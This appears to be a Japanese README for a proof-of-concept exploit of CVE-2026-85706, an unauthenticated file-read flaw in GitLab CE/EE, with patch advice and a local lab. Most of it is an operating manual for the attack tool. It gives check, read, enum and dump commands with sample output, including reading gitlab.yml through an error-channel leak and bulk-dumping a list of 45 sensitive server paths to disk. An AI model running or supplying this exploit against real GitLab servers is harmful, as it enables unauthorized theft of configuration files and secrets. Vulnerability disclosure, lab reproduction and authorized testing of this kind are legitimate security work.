
CVE-2026-85706 の PoC: GitLab CE/EE における未認証の任意ローカルファイル読み取り
CVE-2026-85706 は、GitLab CE/EE の Repository Commits API および Repository Files API における重大なパストラバーサル / 認証欠如の問題です。未認証の攻撃者がサーバーに任意のファイルを読み取らせ、その内容をエラーチャネル経由で取得できます。CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)。
GitLab の公式タイトルは 「Path Traversal issue in repository commits API impacts GitLab CE/EE」 です。修正は 2026-09-10 に 19.3.2 / 19.2.6 / 19.1.8 で提供されました。
[!IMPORTANT] セルフマネージドの GitLab <= 19.3.1 を運用していますか? 19.3.2 / 19.2.6 / 19.1.8 にアップグレードしてください。
[!WARNING] 許可された使用のみ。 このツールは、あなたが所有するシステム、またはテストを明示的に許可されたシステムに対してのみ実行してください。
このリポジトリには、独立した概念実証、最小限の再現ラボ、および完全な技術分析が含まれています:
サードパーティシステムから取得したデータは一切含まれていません。
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
ラボは 127.0.0.1 のみで待ち受け、その lab/vault/ サンドボックス内のみを読み取るため、実際のマシン上のファイルに触れることはありません。
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
自己署名証明書には --insecure を追加し、エンコードされたパスよりも数値のプロジェクト ID を優先してください
(group%2Fproject ではなく --project <id>)。
| Command | Purpose | Key options |
|---|---|---|
check | 対象は脆弱か? すべてのバイパスベクターの応答を比較する | --canary-path, --no-bypass-probe |
read | 1 つのファイルを読み取り、その内容が漏洩するか報告する | --file <path>, --media <type> |
enum | パスのリストを調査し、それぞれを分類する | --wordlist, --wordlist-file |
dump | 読み取り可能なすべてのファイルを、マニフェストと生の応答とともにディスクに保存する | --files, --files-file, --outdir |
check が出力するラベル:
| Label | Request path |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - 対象は脆弱か?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
終了コード: 0 = 脆弱; 1 = テストしたベクターでは悪用不可 (修正済み、またはルートに到達不能)。
知っておく価値のある 2 つの詳細:
Workhorse bypass probe ブロックはルーティングの証明です: file は Workhorse がボディをバッファリングして署名した場合にのみ存在するため、400 {"error":"file is missing"} はバイパスルートがそのパイプラインをスキップしつつ API には到達したことを証明します。修正済みビルドでは、その最後の行は HTTP 401 と表示されます。commits-canonical -> 401) は 対照ケース です: そこでは Workhorse が file.path を書き換えるため、攻撃者の値が脆弱なコードに到達することはありません。read - 単一ファイルを読み取る$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
終了コード: 0 = 内容が漏洩、またはベースラインによって確認された認証前読み取り; 1 = 認証前読み取りは観測されず。
enum / dump - 一括調査python poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt には 45 個の興味深い GitLab/Linux パスが含まれています; --wordlist / --files はインラインまたはファイル経由で指定でき、両形式を組み合わせることもできます。実際のファイル内容に触れるのはこれら 2 つのサブコマンドのみです - 出力はこのリポジトリの外に書き込み、キャプチャした内容を公開しないでください。
| Option | Meaning |
|---|---|
--url <base URL> | 対象のベース URL (必須) |
--project <id or encoded path> | 公開プロジェクト ID (123) または URL エンコードされたパス (group%2Fproject)、必須 |
--token <PRIVATE-TOKEN> | 任意; 認証済みパスをテストする |
--insecure | TLS 検証をスキップする (自己署名証明書) |
-v, --verbose | すべてのリクエスト/レスポンスを stderr に出力する |
--canary-path <path> | 脆弱性のベースラインとして使用される、存在が保証された欠落パス |
--color <mode> | auto (デフォルト、実際のターミナルでは色付け)、always、never |
オプションの順序は重要です: 共有オプションはサブコマンドの 後に 置きます - check --url ... --insecure であり、--url ... check ではありません。
| Test | Result |
|---|---|
Patched control - gitlab.com, 19.3.2+ | すべてのベクターが 401 を返す; 唯一の他の応答はルーティングバイパスを証明する 400 {"error":"file is missing"} |
Local lab - lab/vulnerable_api.py | Rails 側の信頼バグをエンドツーエンドで再現する; --patched で比較ビルドを提供 |
| Real self-managed instance - 19.3.1, written authorization | 脆弱性を確認; ホストとプロジェクトの詳細はここでは意図的に公開していない。集計結果は ANALYSIS.md, section 4.3 に記載 |
この資料は セキュリティ研究および許可されたテスト - 自身のラボ、バグバウンティプログラム、または書面による許可を得たペネトレーションテスト - のために提供されています。あなたが所有するシステム、またはテストを明示的に許可されたシステムに対してのみ使用してください。サードパーティシステムへの不正アクセスは違法です。いかなる種類の保証もなく、現状のまま提供されます。